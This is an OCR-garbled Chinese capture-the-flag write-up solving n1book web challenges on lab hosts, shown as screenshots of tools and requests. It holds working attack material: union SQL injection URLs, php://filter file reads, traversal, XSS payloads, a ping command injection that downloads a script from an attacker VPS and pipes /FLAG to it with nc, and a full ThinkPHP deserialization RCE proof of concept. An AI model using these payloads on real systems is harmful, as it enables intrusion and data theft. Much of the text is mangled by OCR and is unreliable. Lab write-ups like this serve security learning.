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[7kbscan]WebPathBrute 1.6.0 (E2ISEEMARERE] — x
SHEE HttpfE HAHAE IR
FEEAE -20 Agndadis: -m # ] BaHIrFSE-Readk
B Headersh = == @ Head  ATTESRHEESTHE SRS |http://Eci‘QleQrzlSQmﬂZuywujhbl.cloudecil ichungiu, cons | ZU LS F=TS
B Headersk :
User-Agent - Mozilla/6 0 (Windows BT 10.0; Win4; x64) AppleWebl MEAEIEEEsE  FRER: ph ER Ak o
O Get — coban o - =
N SR ez PamJo A (s e O Dassg | | sremime| 96
il il
Orest  2Tam: Ommim  F00E
= O 8ghes &e: zE: [ s | =@ | R ———— |
I FedEattht BriceiCl REHRE ~
hetp: //eoi~2ze9r z15omB2uywu kbl oloudesil. i chungiu, con/robots, tt 200
hetp: //eoi~2ze9r z158mB2uywu hbl, oloudesil. i chungiu, con/index. phy” 200
http://aoi—2ze9r 2166nB2uywa kbl olondecil. ichungin con/index. phy 200
4 Lttp: //eoi-2ze8r 169nB2uywu kbl oloudesil. i chungin. com/. index. php. swp 200
Tt 770 Dz oUr 2 150n0! BB olondec T tokunain sony Kaceess old 403
clondei i chunain con/ TS Store
5 n uwuj}\hl clnudecll ichunqin. com, 200
9 hetp://aci-2ze9r r15mB2uywa kbl cloudecil. i chungiu con/ 200

< C O 9 % © &ht

Ozer—-agent: *
Dizallow:
Fflagl_is_her3 funm.txt

Jeci-2ze9rz159mB2uywujhb1.cloudecil.ichungiu.com/rot

RIflag3cfflag_is_her3_fun.txt>Cf4, v inl B AT 45 2lflag1:n1book{info_1
T8 —AURL:

< C O 9 9 @ & hitpy//eci-2ze9rz159m82uywujhb.cloudecil.ichungiu.com/index.php~

SRS
Hello, CTFer!

EERECMLIEE, ERMEEESTEERI— 228 TraNER

hack fun

flag2:s v3ry im

Al A8 Flflag2:s_v3ry im

FTFHE3NMURL, T Eindex.php.swp, T F 7 LA15 2 25 34Mlag3:pOrtant_hack}:

B new 163 |‘_'] index. phyp. swpm|

[NULINULNULINULINULINUL]
</body></html > @

INULINULINULINULINULINULINULINULING
[HUL] <script

s:l:c=" !BUDtswatch Sketchy flles,t’custom Js"r</script>REA <script-src="./Bootswatch

Sketchy files/bootstrap.min.js"></script>ENl <script-src="./Bootswatch

Sketchy files/popper.min.js"></script>El# <script s:l:c=" /Bootswatch

Sketchy files/joguerv.min.js"></scrj [MULINULNUL] < div> Rl
<?php - echo 'flad3'p01tant hack}'}?> <p>rhack

<hr class=Tmy—47 <p
class="1ead">iﬁ“cf@§§ﬁtﬁﬁ$ﬁﬁﬁ7@%%%@ FEHNIEMmEENES HHERE BERIFETEE

B A </p-EH <hl-class="display-3">Hello, -CTFer!</hl>EHR <div

HE& BT 18 8] 52 %¥flag: n1book{info_1s_v3ry_impOrtant_hack}

—. HLOE /N



BENE: BRERARKRIGEEE?
1. TP B #Rngitfs Btk 58, B A8 M gitfs B itk 58 I A TR qit_extract T #gitith 58 11 3 -

python2 git_extract.py http://eci-2ze®k5fjcglnd3e9yxyb.cloudecil.ichunqiu
.com/.git/

Start Extract

Target Git: http://eci-2ze@k5fjcglnd3e9yxyb.cloudecil.ichunqiu.com/.git/
Analyze .git/HEAD

Extract Ref refs/heads/master 213b7e

Clone Commit 213b7e

Parse Tree ../ fuefba

Analyze .git/logs/HEAD
Detect .git/index
Extract Done

in.net/doulicau

2. ITH T #HMindex.htmisC 4Bl ] 5 Zlflag: n1book{git looks sO_easyfun}

C 0O 9 9 1/{Dxfsafetools/isE T 28/ REFIR/qitiEEHE/2/eci-22e0k5ficg1nd3edyxyb.cloudeciTichungiv.com/indexhtml # & ~ O
. *,
Gitifllizl
Hello, CTFer!
LATAETEARERGHTIRSES, MERSTERE, WRRSETL, eSS gt EEEIE FINS, X5 BT gititERE.

IEHTETRFEIM, S TIUREREFFEEFHIERE N IR IS T

ni1book{git looks s0_easyfun}

EEE'\ 55(:ll-ij3/)\.'1
BHNZ: SQLEA-1
1. BFBRKE

http://eci-2ze73nro8j9t96ud5uk?7.cloudecil.ichunqiu.com/index.php?id=1' order by 3 --+

2. BAEES

http://eci-2ze73nro8j9t96ud5uk7.cloudecil.ichunqiu.com/index.php?id=-1' union select 1,database(),3 --+

3. B4

http://eci-2ze73nro8j9t96ud5uk?7.cloudecil.ichunqgiu.com/index.php?id=-1' union select 1,group_concat(table_n



4. B34

http://eci-2ze73nro8j9t96ud5uk7.cloudecil.ichungqiu.com/index.php?id=-1' union select 1,group_concat(column_

5. 1B

http://eci-2ze73nro8j9t96ud5uk7.cloudecil.ichungiu.com/index.php?id=-1"' union select 1,group_concat(fllllag

6. Eif$flag: n1book{union_select is_so cool}

€ @ eci-2ze73nro8j9t96ud5uk? cloudeci.ichungiu.com/index.php?id=-1" union select 1,groug c

wB 3+ & 6

INT ~ = § SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
@ Load URL [ http://eci-2ze73nroBj9t96ud5ukT.cloudeci.ichungiu.com/index.php?id=-1' union select 1,group_concatifllllag),3 from fldg -+

§ split URL

» Execute

Insert repl.

[ Postdata [ Referrer @& OxHEX 3B @ %URL 3B @ BASEG 3B |e—n to e,|

Replace All 2 | ™=

notes
ni1book{union_select_is_so_cool}
3
@\ SQLE)\'Z
BHWNZE: SQLIEAN-2
1. M/RFENE, HEESQLMAPIE, A& Z&name:
[Raw | 241 | % [ Hex |
POST flogin.php HTTP/1.1 :

Host: eci-Z2zeevisidikt62lizmbx. cloudecil. ichungiu. com

User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW&4: 1v:52.0) Gecke,/20100101
Firefox/52.0

Accept: application/json, text/javascript. #/#*; g=0.01

Accept-Language: zh-CHN, zh;q=0. 8, en-US5;q=0. 5, en; g=0. 3

Accept—Encoding: gzip., deflate

Content-Type: application/z-www—form—urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://eci-2zeevisisiktB21lizmdx. cloudecil. ichungiu. com/ login. php
Content-Length: 95

Cookie: __jsluid h=64a446762acaT06614513eecf1hdE0dh;

PHPSESSID=1phoddjal 3udverr8pr29jgiild

DNT: 1

Comnection: close

nane=adninfbhass=adnin

—_—

2. ksqlmap, 5 %lflag’yn1book{login_sqli_is_nice}:



fi. afr 1
BHWE: afr 1
1. afr (Arbitrary file read) HERERCHREL WiX—TAWMEXH, KM Eflag, HEEE E~flag:

| € (O eci-2ze73nro8j9t9uigiigf.cloudecil.ichungiu.com/?p=flag

INT ~ = & SOLBASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS- WAF

& Load URL /http:ffeci-22&?3nrijthuiqiiq'f.cloudecH.ichunqiu.comﬁp=f|ag
I split URL

] Execute

[1 Postdata [ ] Referrer ¥ OxHEX ™» &% %URL ™» &

no no no

2. % 8AE A PHP 3 3 1 B BNPHP SC A4«
http://eci-2ze73nro8j9t9uiqiiqf.cloudecil.ichunqiu.com/?p=php://filter/read=convert.base64-encode/resource=

L T R 1

| € @ eci-2ze73nro8j919uigiigf.cloudecit.ichungiu.com/?p=php://filter/read=convert.base64-en c - iy
INT v = @ SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS-
@ Load URL /http:[/eci-Zze?Snrijthuiqiiq‘f.cloudeciI.ichunqiu.com)f?p:php:,’{filterjread:conver‘t.baseﬁd—-encode/resource:flag
B split URL
» Execute
.
[ Post data [] Referrer 4 OxHEX ™ % %URL ¥ &% BASEG4 ™ Insert string to :—‘ ‘ Insert replacing string| [«
PD9waHAKZGIIKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWRS
3. KR [ )16 Fbase64 4w L f#tY, 13%Iflag: n1book{afr_1_solved}
PD9waHAKZGIIKCdubyBubyBubycpOwovl 24xY m3va3thZn)MVIzb2x2ZWRI @ Text O Hex @
(w8 I*.
- I*
(. I=.
HiwE |
<?php| @® Text () Hex
die(no no no’); =
L.
(m@.. v
(mw... I*.
(O 1. -




75~ afr 2
M H V‘]%‘: afr_2
1. RIIMG B 1] BAFI H %

€ @ ec-2zeiuwocknfo2h9486dd.cloudecil.ichungiu.com/img/ c |

INT ~ = & S0OLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML

4@ Load URL [ httpy/feci-2zeiuwocknfo2h9486dd.cloudecilichungiu .com,‘imgl

B split URL

b Execute |

Insert string to

[] Postdata [ | Referrer 4 OxHEX ™ 4% %URL ™ 4% BASEG4

Index of /img/

img. gif 04-0ct—2018 05:55 456384

2. fEimgH FJEin L. /317 B 358k

http://eci-2zeiuwocknfo2h9486dd.cloudecii.ichungiu.com/img../


http://eci-2zeiuwocknfo2h9486dd.cloudeci1.ichunqiu.com/img../

€ O eci-2zeiuwocknfo2h9486dd.cloudecil.ichungiu.com/img../ [EM| c -

INT ~ = § SOLBASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCF

@ Load URL [ httpy//eci-2zeiuwocknfo2h9486dd.cloudecilichungiu.comfimg../
I split URL

b Execute

[] Post data [] Referrer 4 OxHEX ™ % %URL 3 & BASEG4 3 | nsert string to replace

Index of /img../

bin/ 28-May—-2020 04:

40 -
boot/ 24-Apr—-2018 08:34 -
dev/ 08-Jul-2021 05:14 -
ete/ 28-May—2020 04:40 -
home/ 24-Apr-2018 08:34 -
lib/ 23-May—-2017 11:32 -
1ib64/ 03-Apr—-2020 17:13 -
media/ 03-Apr—-2020 17:12 -
mnt/ 03-Apr—-2020 17:12 -
opt/ 03-Apr—-2020 17:12 -
proc/ 08-Jul-2021 05:14 -
root/ 03-Apr-2020 17:14 -
run/ 08-Jul-2021 05:14 -
sbin/ 28-May—-2020 04:40 -
srv/ 03-Apr—-2020 17:12 -
svs/ 08-Jul-2021 05:14 -
tmp/ 28-May—-2020 04:40 -
usr/ 03-Apr—-2020 17:12 -
var/ 28-May—-2020 04:40 -
flag 10-Mar-2020 20:24 20

3. Villflagx 3k Eiflag: n1book{afr 2 solved}

+. afr 3
BHWZA: afr 3

AR

J\. FET-pingdr4
BEHNE: BHBEHEELEAENMEpIngllliX, FREFESBARXKENEZZRSH, RiXGMETIE?
1. fEHburpilik iy AT, RIA] LALEIp=%0AE AT 2 .



HiEE: BRMERE

EER 4 BHEA | 78 |82 | #8r R e
b4 d[FLES T T ZUJ I I 9T
53 :system(cat%20/etc/pass... 200 J ] 21
54 :system(id) 200 J ] 21
55 :system(ust/bin/id’) 200 [ [1 241
56 %0Acat%20/etc/passwd 200 [ L] 235
a7 % 0A/usr/bin/id 200 O O 235
58 Se0AId 200 O O 235
59 % 0A/usrbin/id%0A 200 O O 235
60 Se0AId%0A 200 O O 235
61 & ping - 30 127.0.01 & 200 LJ L] 241
62 & ping -n 30 127.0.01 & 200 O O 241

R | e

J Raw m Hex I Render ]

HTTP/1.1 200 0K

Da‘tk: Thu, 08 Jul 2021 05:39:17 GHT
Content—Type: text/html; charset=UTF-8
Comnection: close

Vary: Accept—Encoding

Vary: Accept—Encoding

X-Via—JSL: d2f7d53,-

X-Cache: hypass

Content-Length: 15

IF Ping MXj.

2. WMRATE R FbashFlvps. AT LAMERHATcurlir & T HshIARIMRF 4, BAHATHIT R, S RncElvpslE

EHATHI 2

3. fEVPSHIwebfk 523 5E 1.sh3cfF, WA T:

1s / | nc x.x.x.x 8890

4\ #L’?i::

%0Acurl x.x.x.x/1.sh > /tmp/1.sh

Send B < | >\
i34

Raw | 24 | 2k | Hex

Bi7: http:lffeci-2zeewTfhyidnyqg1h5p9.cl

W

Raw | 2% | Hex | Render

decit.ichungi rnm/@

POST /ping.php HITP/1.1

Host: eci-ZzeewTfhyidnygglhipd. cloudecil. ichungiu. com

User-Agent: MNozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
Firefox/52, 0

Accept: */¥

Accept-Language: zh-CHN, zh:g=0.8, en-US:g=0. 5. en:;g=0. 3
Accept—Encoding: gzip. deflate

Content-Type: application/z—www-form—urlencoded: charset=UTF-§
XK-Requested-With: XMLHttpRequest

Referer: http://eci-ZzeewTfhyidnyqglhipl. cloudecil. ichngiu. com/
Content-Length: 41

Cookie: __jsluid h=46a85640cd3f54e5fci3d466Td01Tcth

DNT: 1

Comnection: close

ip=%0Acurl & . .49/1.sh > /tmp/1.sh|

5. vps_ kA A nck Wi M

nc -lvvp 8890

e

HITP/1.1 200 OK

Date: Thu, 08 Jul 2021 06:31:04 GHI
Content-Type: text/html: charset=UTF-3
Comnection: close

Vary: Accept-Encoding

Vary: Accept-Encoding

¥-Via—-JSL: 16d00f5, -

X-Cache: bypass

Content-Length: 15

IP Ping ).

. I




6\ ;‘H:L'/ﬁ:-

%0Ash /tmp/1.sh

| Send | | <i* | B147: http:/feci-2zeewTfhyidnyqg1h5p9.cloudecit.ichungiu.com / @
Raw | &3 I * I Hex ] Raw | % THex I Render }

POST /ping.php HTTR/1.1 2 HITP/1.1 200 OK i

Host: eci—Zzeewifhyidnyqglhbpd. cloudecil. ichungiu. com r Date: Thu., 08 Jul 2021 06:34:52 GMT P

User—4gent: Mozilla/5.0 (Windows NT 10.0; WOW&4; rv:52.0) Gecko /20100101 Content—Type: text/html; charset=UTF-8

Firefox/52.0 Comnection: close

Accept: */* Vary: Accept—Encoding

Aecept-Language: zh-CN, zh:g=0.8, en-US:g=0. 5, en:g=0. 3 Vary: Accept—Encoding

Accept-Encoding: gzip. deflate X-Via—J5L: 16d400f5.-

Content-Type: application/z—www—form—urlencoded; charset=UTF-8 X-Cache: hypass

X-Requested-With: XMLHttpRequest Content-Length: 15

Referer: http://eci-2zeewTfhyidnyqelh5pd. cloudecil. ichungiv. com/

Content-Length: 18 IP Ping Hilh.

Cookie: __jsluid_h=46a85640cd8f54e5fc83d4667d017cfh

DNT: 1

Comnection: clese

ip=%04sh /tmp/1. skl

sent B, rcud 79

8. A RN T REVPS LEI#2.shAER:

cat /FLAG | nc x.x.x.x 8890

9. EHFMFKTAERI-6P TR+, RFE1THRIE flag:
n1book{6fa82809179d7f19c67259aa285a7729}

1book{6faB2BR?179d7f17c6725%2a285a7729> sent B, rcud 48

L. XSS %
FRHWE: VREEE TS RHTRAR Bk BT XSS i) il i & 3Rk 15 flaghe ?

1. B S BIE H, #HITXSSHExK, F—k: BEEH A <script>alert(1);</script>B Al id 3¢,

http://eci-2ze6hmajegtidor7pzph.cloudecil.ichunqiu.com/levell?username=<script>alert(1);</script>



2. EREBBIE K, BFEuU, levellZBRHK T level2, FRIKKBHBllevel7, BiiRriER, KRBT flag:
n1book{xss_is_so_interesting}

http://eci-2ze6hmajogtidor7pzph.cloudecil.ichunqiu.com/level7?username=

+. X EAR
BHMA: b
K

+—. thinkphp)x FF %I 4 5] B &%
REH WA X —AMELE B R T FI4L AT R F S 2 98
5% https://blog.csdn.net/zy15667076526/article/details/114975476

poc:

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function _ construct(){
$this->append = ["ethan"=>["calc.exe","calc"]];
$this->data = ["ethan"=>new Request()];

}
}
class Request
{

protected $hook = [];
protected $filter = "system";
protected $config = [

/] REERKHBGRAE

'var_method' => ' _method’,
/] FKHajaxthBELE

'var_ajax' => '_ajax’,
// R¥pjaxthEEE

'var_pjax' => ' pjax',
// PATHINFOZE#% HTFH#HAMN
'var_pathinfo' => 's',

// FASPATH_INFOZREX
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT PATH_INFO', 'REDIRECT URL'],
[/ BRNEREEEE HESaREA
'default_filter' = ',

// B4, wthinkphp.cn
'url_domain_root' => '',

// HTTPSAREFFIR

"https_agent_name' => '',

// IPAREIREFIR

"http_agent_ip' => "HTTP_X REAL_IP',
// URLIAERZSE &

'url_html_suffix' => 'html’,


https://blog.csdn.net/zy15667076526/article/details/114975476

1>

function _ construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>""'];
$this->hook = ["visible"=>[$this,"isAjax"]];

}

namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows

{
private $files = [];

public function __construct()

{
$this->files=[new Pivot()];

}

namespace think\model;
use think\Model;

class Pivot extends Model

{
}

use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

//str=0%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipesk5CWi
?>

2 EATIREFLAG: n1book{de70641304640057390e8fabc8b515bf}

INT ~ = & S0l BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XS5- LFI-
@ load URL (httpy//eci-2zef0imoer293835e1p.cloudecil.ichungiu.com/public/zs=index/index/hellogethan=cat /FLAG =
o @

4§ spliturL

» Execute
M Postdata [ Referrer % OxHEX 3B % %URL 3B @ BASESS I | fnsert string o 1 ‘ Insert re; -

Post data 9%3A%22think%5Cmodel%5CPivot3:22%3A2%3A%7 Bs%3A9%3 A%22%:00%2A%00append%22%3Ba%3A1%3A% 7Bs¥3A5%3A%22ethan:22%3Ba% 3A2%3A %7 Bi%3A0%3Bs% 3AB%3A%22 calc.exe al =
922%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7 Ds%3A17%3A%22%00think%5CModel%00data%22%3 Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%%5CRequest%622%3A3 &
963A%7Bs%3A7%3A%22%0092A%00hock9622%3Ba%3A1%3A% 7 Bs%3A793A%22visible%22%3Ba%3A2%3A% 7 Bi%3A0%3Bri3A9%3Bi%3A1%3Bs%3A69:3A%22isAjax%22%3B%7 D% 7 Ds%3 A% 3A%22
9600%62A%600filter%2233Bs%3A6%3A%22system$622% 3Bs % 3A9%3A%22%00%2A%00config¥%22%63Ba%h3A1%63A%7Bs % 2ABWH3I A% 2 2var_ajax¥22%3Bs%3A0%3A%22%22%3B%TD%TDHTDHTDHTDHTD v

nibook{de70641304640057390e8fabc8b515bf}
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